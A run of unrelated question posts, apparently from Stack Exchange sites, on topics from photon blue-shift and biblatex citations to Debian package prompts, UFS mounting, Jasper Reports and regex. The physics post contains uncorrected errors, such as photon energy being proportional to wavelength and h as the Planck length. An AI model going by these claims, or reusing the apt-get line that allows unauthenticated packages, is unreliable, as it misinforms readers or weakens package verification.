I was thinking about blue-shifting of light and I couldn't help my self but think about the limits of blue shifting mechanism and since we know energy of a photon is directly proportional to the wavelength of light by the well-known formula: $E = \frac{hc}{\lambda}$   We know this therefore we can say that the maximum energy an single photon can carry must be equal to the energy of the universe so we can say $E = E_{universe}$ now if we assume the energy of universe is $ E_{universe} = \infty$ then we could also say that $\lambda$ must be $0$ which cannot make any sense as it implies all the waves all exists in the same place. Which in my opinion seems unimaginable.   That said, we must assume the $E_{universe}$ is an finite value therefore suggesting $\lambda = \frac{hc}{E_{uniserve}} $. Now we can say as the energy increases the the $\lambda$ must decrease in value, but I concluded there must come a point at which the wavelength gets smaller than the smallest length possible $h$ (planks length) surely that must mean that after a photon reaches that level of blues-shifting it should be impossible for it to blue-shift anymore, as any more blue shifting may push it beyond the limit of $h$ and therefore break laws of physics but I am a mere speculative student therefore can someone answer my questions.  So my question is what is the limit of the most energetic wavelength in electromagnetic-spectrum? If so what if a photon attains such energy levels what will happen if we attempt to blue-shift the light even more, what will or should happen?


Why is the number of pages on my website indexed by Googlebot decreasing?

I am monitoring the number of pages indexed by Googlebot for one of my websites .  I noticed that since last week, the number of pages has dropped by about 60 or so. Now to be fair, I have not added that much over the last week. (Actually I don't think I added any new content.) But at the very least, I would have thought that the number of indexed pages would be static (if I was not adding anything new.)  I don't understand why the numbers have dropped.  Does anyone have an official explanation for this?. I have checked the Google Webmaster Tools, and have not come across anything that addresses this issue directly.


How to make the title become italic for citing a book chapter in an edited book

I am using the MWE from where I need to cite a book chapter in an edited book.  Basically from  Author A (1998) Title Chapter   to   Author A (1998) Title Chapter    to     Below is my MWE:  \documentclass{article} \usepackage{xpatch} % \usepackage[style = authoryear-comp, maxnames = 99]{biblatex}  \usepackage[backend=biber,  % style=authoryear,   style=authoryear-comp, % citestyle=authoryear,  dashed=false, maxcitenames=2, maxbibnames=99, giveninits, uniquename=init]{biblatex}  \usepackage[T1]{fontenc} \usepackage[utf8]{inputenc} \usepackage[english]{babel}  \usepackage{csquotes}  \usepackage[unicode,colorlinks,citecolor=blue]{hyperref}  % \renewcommand*{\finalnamedelim}{\addspace\&\space} % \renewcommand*{\intitlepunct}{\space} \renewcommand{\labelnamepunct}{\space}  % \DeclareDelimFormat{finalnamedelim}{\addspace\bibstring{and}\space}  \DefineBibliographyExtras{english}{%    \let\finalandcomma\empty    \let\finalandsemicolon\empty  }    % \DeclareFieldFormat[article, incollection, unpublished]{pages}{#1} \DeclareFieldFormat[article, incollection, unpublished]{title}{#1} % \renewcommand{\bibpagespunct}{\ifentrytype{article}{\addcolon}{\addperiod\addspace}}  \DeclareNameAlias{sortname}{family-given} \DeclareNameAlias{editorin}{given-family}  \newbibmacro*{byeditor:in}{%   \ifnameundef{editor}     {}     {\printnames[editorin]{editor}%      \setunit{\addcomma\space}%      \usebibmacro{editorstrg}%      \clearname{editor}}}  \xpatchbibdriver{inbook}   {\usebibmacro{in:}%    \usebibmacro{bybookauthor}%    \newunit\newblock    \usebibmacro{maintitle+booktitle}%    \newunit\newblock    \usebibmacro{byeditor+others}}   {\usebibmacro{in:}%    \usebibmacro{bybookauthor}%    \newunit\newblock    \usebibmacro{byeditor:in}%    \newunit\newblock    \usebibmacro{maintitle+booktitle}%    \newunit\newblock    \usebibmacro{byeditor+others}}   {}{}  \xpatchbibdriver{incollection}   {\usebibmacro{in:}%    \usebibmacro{maintitle+booktitle}%    \newunit\newblock    \usebibmacro{byeditor+others}}   {\usebibmacro{in:}%    \usebibmacro{byeditor:in}%    \setunit{\labelnamepunct}\newblock    \usebibmacro{maintitle+booktitle}%    \newunit\newblock    \usebibmacro{byeditor}}   {}{}  \xpatchbibdriver{inproceedings}   {\usebibmacro{in:}%    \usebibmacro{maintitle+booktitle}%    \newunit\newblock    \usebibmacro{event+venue+date}%    \newunit\newblock    \usebibmacro{byeditor+others}}   {\usebibmacro{in:}%    \usebibmacro{byeditor:in}%    \setunit{\labelnamepunct}\newblock    \usebibmacro{maintitle+booktitle}%    \newunit\newblock    \usebibmacro{event+venue+date}%    \newunit\newblock    \usebibmacro{byeditor+others}}   {}{}    \usepackage{filecontents} \begin{filecontents*}{\jobname.bib} @incollection{lennon1965,   author    = {John Lennon},   booktitle = {A book with articles},   editor    = {Paul McCartney and John Lennon and George Harrison and Richard Starkey},   title     = {This is my article in this book},   year      = {1965},   location  = {Liverpool},   pages     = {65--87},   publisher = {Cavern Club}, } @incollection{deborah123,   author      = "Deborah Lewis and Marie O'Boyle-Duggan and Susan Poultney",   title       = "Communication skills education and training in pre-registeration BSc Nursing",   editor      = "David W. Kissane and Barry D. Bultz and Phyllis N. Butow and Carma L. Bylund and Simon Noble and Susie Wilkinson",   booktitle   = "Oxford Textbook of Communication in Oncology and Palliative Care",   publisher   = "Oxford University Press",   address     = "Oxford",   year        = 2017,   pages       = "149-154",   Edition = "2nd edn" } \end{filecontents*} \addbibresource{\jobname.bib}  \begin{document} \nocite{*} book done \parencite{deborah123}.  \printbibliography \end{document}


At what point can I call my professor by their first names as an undergraduate research student?

I'm currently working closely with a professor on a research project as an undergrad student. I always address her by her last name: Dr.xx. However, this makes me feel distant from her.. I am wondering by which point I could call her by first name?   Here is some background info: I got to know her in person by taking a class taught by her and then started working together on this project at the end of last term. We had meetings together for a few times and exchanged a few emails back and forth. She always addressed herself by her first name in the email but I insisted called her Dr.xx to show my respect. However, some of her grad students in the lab are calling her by first name...  Thanks!


Action and reaction forces during collision

How can the action and reaction force be same.? And if so then how the colliding objects could further move as there net force is Zero.  Since F1 = - F2, that means that the force act on both sides and as there magnitude is same then undoubtedly there is no such net or derived force for which one could move further.


Interpretation of multivariate conditional gaussian function form?

I've been reading over this , trying to make sense of how the mean and variance of a gaussian conditional was derived. I've come to accept that unless I allocate a dozen or so hours to refreshing my linear algebra knowledge, it's out of my reach for the time being. that being said, I'm looking for a conceptual explanation for that these equations represent: $$\mu_{1|2} = \mu_1 + \Sigma_{1,2} * \Sigma^{-1}_{2,2}(x_2 - \mu_2)$$ I read the first as "Take $\mu1$ and augment it by some factor, which is the covariance scaled by the precision (measure of how closely $X_2$ is clustered about $\mu_2$, maybe?) and projected onto the distance of the specific $x_2$ from $mu_2$." $$\Sigma_{1|2} = \Sigma_{1,1} - \Sigma_{1,2} * \Sigma^{-1}_{2,2} * \Sigma_{1,2}$$ I read the second as, "take the variance about $\mu_1$ and subtract some factor, which is covariance squared scaled by the precision about $x_2$." In either case, the precision $\Sigma^{-1}_{2,2}$ seems to be playing a really important role. A few questions:  Am I right to treat precision as a measure of how closely observations are clustered about the expectation? Why is the covariance squared in the latter equation? (Is there a geometric interpretation?) So far, I've been treating $\Sigma_{1,2} * \Sigma^{-1}_{2,2}$ as a ratio, (a/b), and so this ratio acts to scale the (second) $\Sigma_{1,2}$, essentially accounting for/damping the effect of the covariance; I don't know if this is valid. Anything else you'd like to add/clarify?


How do I make multiple spawn points in minecraft vanilla?

I'm fine using any mods to DO it, and use a program like mcedit. However, the final time that it's played, it can't have any mods installed.   I'd also like to know how to chose which spawn to make the user spawn at.


What can I mix with a sweet liquor to cut its sweetness?

I have a flavored liquor, Salted Caramel Crown Royal, that is really sweet. What kind of mixer could I use to cut its sweetness?


I have createad a report in jasper report, when i have wrote the code in servlet to export the report in pdf it is not displaying the report.   JRPdfExporter pdfExporter = new JRPdfExporter(); pdfExporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint); //OutputStream ouputStream = response.getOutputStream(); //pdfExporter.setParameter(JRExporterParameter.OUTPUT_STREAM, ouputStream); pdfExporter.setParameter(JRExporterParameter.OUTPUT_FILE_NAME, "C:/reports/payment.pdf"); pdfExporter.exportReport();   Now during debugging when debugger came to at this line     JRPdfExporter pdfExporter = new JRPdfExporter(); it simply goes in finally block rather in next line. I am stuck into this any solutions.  and the Exception is:  java.lang.NoClassDefFoundError: com/lowagie/text/DocumentException java.lang.ClassNotFoundException: com.lowagie.text.DocumentException


I have lost my admin as well as secondary email (use as to retrieval of admin pwd) password. Please suggest steps which really works. I know its possible but that person who knows is not ready to tell how. Its Urgent. There is some Google link for it PLZZ tell how step by step Rgds,


GIT system, branching and merging stuff - useful resources

Could you please advise me on good resources regarding the common learning of git system and branches. I am fresh with VCS, so I need to understand how branches and merging stuff work.  Thank you very much!


Difference of Activation Functions in Neural Networks in general

I have studied the activation function types for neural networks. The functions themselves are quite straightforward, but the application difference is not entirely clear.  It's reasonable that one differentiates between logical and linear type functions, depending on the desired binary/continuous output but what is the advantage of sigmoid function over the simple linear one?  ReLU is especially difficult to understand for me, for instance: what is the point to use a function that behaves like linear in case of positive inputs but is "flat" in case of negatives? What is the intuition behind this? Or is it just a simple trial-error thing, nothing more?


I'm writing a script and I would like to pass the results from bc into a variable. I've declared 2 variables (var1 and var2) and have given them values.  In my script I want to pass the results from bc into another variable say var3 so that I can work with var3 for other calculations.  So far I have been able write the result to a file which is not what I'm looking for and also I've been able to echo the result in the terminal but I just want to pass the result to a variable at moment so that I can work with that variable.  echo "scale=2;$var1/var2" | bc


Is Gradient Boosting Regression Tree able to learn linear models

Assume $Y$ is a linear function of a vector of variables $X$ (plus a noise term). The train data consists of ($X,Y$) such that $X \in ［0,1］$. Assume  one use gbdt to learn this linear model. And if the test data consists of ($X,Y$) such that $X \in ［4,5］$. Can the learned gbdt model correctly predict data in test set? The reason is that any node in any tree in gbdt has the form: $x_i > a $ and $x_i <=a$, $a$ is the splitting point of variable $x_i$, and the $X$ in test data has disjoint range with the one in train set, so the gbdt model will not be able to distinguish the $X\in ［0,1］$ in train set and $X \in ［4,5］$ in test set, more specifically, the $X\in ［4,5］$ will lie to the right side of the splitting point and then will predict the same value as the $X$ in the upper part of $［0,1］$, for example, in $［2/3,1］$. As the true model is linear, which means it wil not predict the same value for $X$ in train and test set, resulting that the gbdt will not correctly learn such a model. Is the above reasoning correct?


What is the smallest unknown natural number?

There are several unknown numbers in mathematics, such as optimal constants in some inequalities. Often it is enough to some estimates for these numbers from above and below, but finding the exact values is also interesting. There are situations where such unknown numbers are necessarily natural numbers, for example in Ramsey theory. For example, we know that there is a smallest integer $n$ such that any graph with $n$ vertices contains a complete or an independent subgraph of 10 vertices, but we don't know the exact value of $n$.  What kinds of unknown small (less than 100, say) integers are there? What are the smallest unknown constants which are known to be integers? Or, more rigorously, what is the smallest upper bound for an unknown but definable number that is known to be an integer?  I know that asking for the smallest unknown integer is ill-defined since we do not know the exact values. The more rigorous version of the question is well-posed, but I do not want to keep anyone from offering interesting examples even if they are clearly not going to win the race for the lowest upper bound.  An answer should contain a definition of an integer quantity (or a family of them) and known lower and upper bounds (both of which should be integers, not infinite). Conjectures about the actual value are also welcome. I have given one example below to give an idea of what I'm looking for.


Disable prompts while installing a Debian package

How can i disable totally the prompts that appear while installing a Debian package, i've used all the options that i've found but there are some packages that are still prompting.  I'm using this command:  apt-get -y --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install x11-common   Why the x11-common package is still prompting? how can i get rid of these prompts?  Thanks in advance  --Victor  Edit: just to clarify, the prompts are not "yes/no" prompts, are open questions in a coloured screen (typical two color screen) but i want to set the default option of these questions


In my beamer presentation, I want to cite the reference without title. So, I tried:  \documentclass{beamer} \usepackage[   backend=bibtex8,   defernumbers=true,   sorting=none,   firstinits=true,   uniquename=init,   uniquelist=false,   refsegment=section,   citestyle=numeric ]{biblatex} \addbibresource{mini.bib} \AtEveryBibitem{\clearfield{Title}} \begin{document} \section{Start} \begin{frame}   first cite\footfullcite{Julie2006}   %\printbibliography \end{frame} \section{2nd} \begin{frame}   Second cite\footfullcite{gyof} \end{frame} \end{document}   with the mini.bib :  @article{gyof,   Author={BLJ},   Title={Some Title},   Journal={joural1},   volume={15},   pages={1337},   Year={1985} } @article{Julie2006,   Author={JBS},   Title={Some Other Title},   Journal={journal2},   volume={74},   pages={144411},   Year={2006} }   with \AtEveryBibitem{\clearfield{Title}} I was expecting no title will be produced, but thats not the case:   Is there any incompatibility between clearfield and footfullcite? Or I am just missing something?


Understanding a particular algorithm that computes $\sum\limits_{i=1}^n\lfloor\frac ni\rfloor$ with complexity less than $O(n)$

Is there a better way to get the summation of $$\sum\limits_{i=1}^n\left\lfloor\frac ni\right\rfloor$$ I would like to know a way that is better than the complexity of $O(n)$ ... because there seems to be a pattern in the way all the floor values decrease .   This is a code that does it in less than O(n) complexity but I am unable to prove it why it works             long long N;         cin >> N;         long long K = 1, mn = N, mx, sum = 0;;         while (mn > 0)         {             K = N / mn;             mx = N / K;             mn = N / (K + 1);                        sum += (mx - mn)*K;         }


I am trying to restructure our website that is focus on Healthcare and could you please help me which of these two decisions for URL is better for SEO ?  we present best providers for any healthcare procedures in each city and country. here is an example of rhinoplasty procedure in turkey:  www.mywebsite.com/en/rhinoplasty/turkey  www.mywebsite.com/en/rhinoplasty/rhinoplasty-turkey  1-is it necessary to write exact focus keyword in last folder of URL?  In this example, rhinoplasty is our pillar page, so it has so many cluster contents that link back to it, such as this procedures in each countries, ...  2-Is it necessary to put our main pillar pages in top level of URL?  can we locate all pillar pages related to cosmetic surgeries inside cosmetic-surgery folder?   Pillarpage: www.mywebsite.com/en/cosmetic-surgery/rhinoplasty   www.mywebsite.com/en/cosmetic-surgery/rhinoplasty-turkey


In order to mount my /dev/sda4  under /mnt/ufs_mount on Debian Testing , i have tried the following commands (it works fine under Debian Jessie):  modprobe ufs mount -r -t ufs -o ufstype=ufs2 /dev/sda4 /mnt/ufs_mount   and:  mount -t ufs -o ufstype=ufs2 /dev/sda4 /mnt/ufs_mount   But i get this error:  mount: /dev/sda4 is write-protected, mounting read-only mount: wrong fs type, bad option, bad superblock on /dev/sda4,    missing codepage or helper program, or other error     In some cases useful info is found in syslog - try    dmesg | tail or so.   The output of: dmesg | tail :  [ 1136.965142] ufs: ufs_fill_super(): bad magic number [ 1255.758946] ufs: ufs_fill_super(): bad magic number [ 2098.945757] ufs: ufs was compiled with read-only support, can't be mounted as read-write [ 2098.946045] ufs: You didn't specify the type of your ufs filesystem        mount -t ufs -o ufstype=sun|sunx86|44bsd|ufs2|5xbsd|old|hp|nextstep|nextstep-cd|openstep ...        >>>WARNING<<< Wrong ufstype may corrupt your filesystem, default is ufstype=old [ 2098.967212] ufs: ufs_fill_super(): bad magic number [ 2927.982112] perf: interrupt took too long (2504 > 2500), lowering kernel.perf_event_max_sample_rate to 79750   Edit My sources.list:  deb http://httpredir.debian.org/debian/ stretch main deb-src http://httpredir.debian.org/debian/ stretch main  deb http://security.debian.org/debian-security stretch/updates main deb-src http://security.debian.org/debian-security stretch/updates main   And uname -a:  Linux debian 4.6.0-1-amd64 #1 SMP Debian 4.6.4-1 (2016-07-18) x86_64 GNU/Linux   How to mount ufs file system under Debian testing?


How to get a string between two strings with line breaks using RegEx in Python

I have a string of text that has multiple linebreaks. I want to get some of the text inbetween it. How would I do this?  \w+\*\w+\*1000018220\*\n.+\n.+\n\w+\*\w+\*(\d+\.\d+)   I tried this, but this just goes line by line and i'm unsure of how to get between two tags that have linebreaks.  This is how the string looks TEXT*TEXT*1000018220* TEXT*TEXT*TEXT1419* TEXT*TEXT*KH005* QTY*QD*123.45*KH MEA**MU*12345.6*KH***22 TEXT*150****TEXT*201900000000 TEXT*151****TEXT*201900000000 QTY*QD*123.45*KH QTY*QD*123.45*KH QTY*QD*0.00*KH QTY*QD*123.45*KH QTY*QD*0.00*KH TEXT*TEXT*1000018220*   I want to get the values of the lines with the QTYQD###.##KH from between the 1000018220 headers.  The result would return this  123.45 123.45 123.45 0.00 123.45 0.00


What a periodic function needs to satisfy so its integral will be a periodic function?

I have a periodic function $g(x)$. I want to know what else $g(x)$ has to satisfy so its undefined integral will be a periodic function.  Thanks!  PS: I noticed that if $g(x)=f(x)+a$ where $a$ is a constant the integral will not be periodic.


I'm sure I'm just be being a n00b here, but the size value for my particle systems seems to be missing. It should be right there next to mass under physics, right?   Any help is much appreciated.


How to get unanswered questions by tag on Stack Overflow app

I'm trying to figure out how to just get unanswered questions by a tag in the Stack Overflow app. Is it possible right now? If not can anyone give an ETA on when this is coming out?